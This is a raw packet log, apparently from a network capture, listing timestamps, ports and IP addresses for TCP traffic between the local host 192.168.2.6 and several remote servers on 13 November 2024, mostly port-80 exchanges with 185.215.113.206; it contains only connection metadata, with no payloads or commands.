Nov 13, 2024 18:08:34.255384922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255405903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255418062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255428076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255439043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255450010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255459070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255486965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255654097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255665064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255688906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255700111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255707979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255712986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255723953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255728006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255734921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.255754948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255779982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.255965948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256010056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256095886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256107092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256118059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256129026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256139994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256150961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256160021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256160975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256172895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256179094 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256184101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256196976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256216049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256603003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256612062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256622076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256634951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256647110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256654024 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256658077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256669044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256675005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256680965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256690979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256695032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256704092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256714106 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256716013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256727934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.256732941 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256757975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.256781101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257122040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257133007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257143974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257155895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257168055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257172108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257199049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257216930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257576942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257589102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257597923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257610083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257620096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257627010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257631063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257642984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257642984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257652998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257663965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257666111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257677078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257683992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257694960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257709980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257711887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257720947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257730961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257740974 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257741928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257754087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257761955 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257766008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257776022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.257780075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257803917 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.257831097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258444071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258455038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258466005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258476973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258492947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258497953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258505106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258514881 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258517981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258526087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258533955 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258538008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258549929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258560896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258569956 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258572102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258583069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258593082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258598089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258604050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258614063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258620024 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258625031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258635998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.258641005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258661032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.258675098 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.259354115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259366989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259377003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259390116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259402037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259412050 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.259412050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259423971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259433985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259439945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.259447098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259458065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259464979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.259469986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.259481907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.259500980 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.363009930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.368056059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.428540945 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.433031082 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.433044910 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.434727907 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.434788942 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.436139107 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.436218977 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.438893080 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.438899994 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.458862066 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.458898067 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.458961010 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.460565090 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.460578918 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.478971958 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.548577070 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.552850008 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.552881002 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.556852102 CET	49918	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.556858063 CET	443	49918	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.569987059 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.575691938 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.575727940 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.576308012 CET	49917	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.576313019 CET	443	49917	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.609277010 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.609410048 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.609461069 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.610177994 CET	49921	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.610194921 CET	443	49921	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.611524105 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.611562967 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.611720085 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.611926079 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:34.611942053 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:34.619457006 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:34.619755983 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:34.619786024 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:34.620830059 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:34.620904922 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:34.622143984 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:34.622209072 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:34.622643948 CET	49920	443	192.168.2.6	20.125.209.212
Nov 13, 2024 18:08:34.622653008 CET	443	49920	20.125.209.212	192.168.2.6
Nov 13, 2024 18:08:34.622675896 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.622710943 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.622827053 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.622868061 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.622909069 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.622960091 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623203039 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623214960 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.623334885 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623593092 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623615980 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.623814106 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623836040 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.623843908 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.623959064 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624031067 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624042034 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.624155998 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624165058 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.624233007 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624255896 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.624320984 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624331951 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.624416113 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:34.624437094 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:34.647783995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.647846937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.647969961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.647984028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648000002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648011923 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648015022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648027897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648041964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648042917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648066998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648068905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648093939 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648130894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648133993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648145914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648160934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648170948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648185015 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648201942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648288012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648303032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648318052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648334026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648339987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648350954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648363113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648389101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648420095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648555040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648571014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648581982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648585081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648602009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648602009 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648617983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648622990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648633003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648646116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648648977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648664951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648665905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648679972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648693085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648694992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648719072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648735046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648868084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648881912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648896933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648902893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648911953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.648922920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648947954 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.648957968 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649007082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649023056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649036884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649054050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649060011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649070024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649081945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649085045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649101019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649106979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649116039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649130106 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649130106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649144888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649158001 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649159908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649174929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649183035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649199009 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649219990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649698973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649714947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649729013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649744987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649760008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649766922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649774075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649790049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649791956 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649805069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649808884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649818897 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649821997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649837017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649846077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649852037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649852991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649868965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649876118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649884939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649888039 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649899960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649912119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649912119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649915934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649930000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649936914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649945974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.649949074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649971008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.649971008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650310993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650360107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650399923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650414944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650430918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650439978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650446892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650451899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650463104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650470018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650479078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650485992 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650497913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650525093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650536060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650599957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650760889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650775909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650789976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650803089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650804043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650813103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650820971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650825977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650835991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650847912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650851011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650865078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650868893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.650880098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.650887966 CET	49864	80	192.168.2.6	185.215.113.206
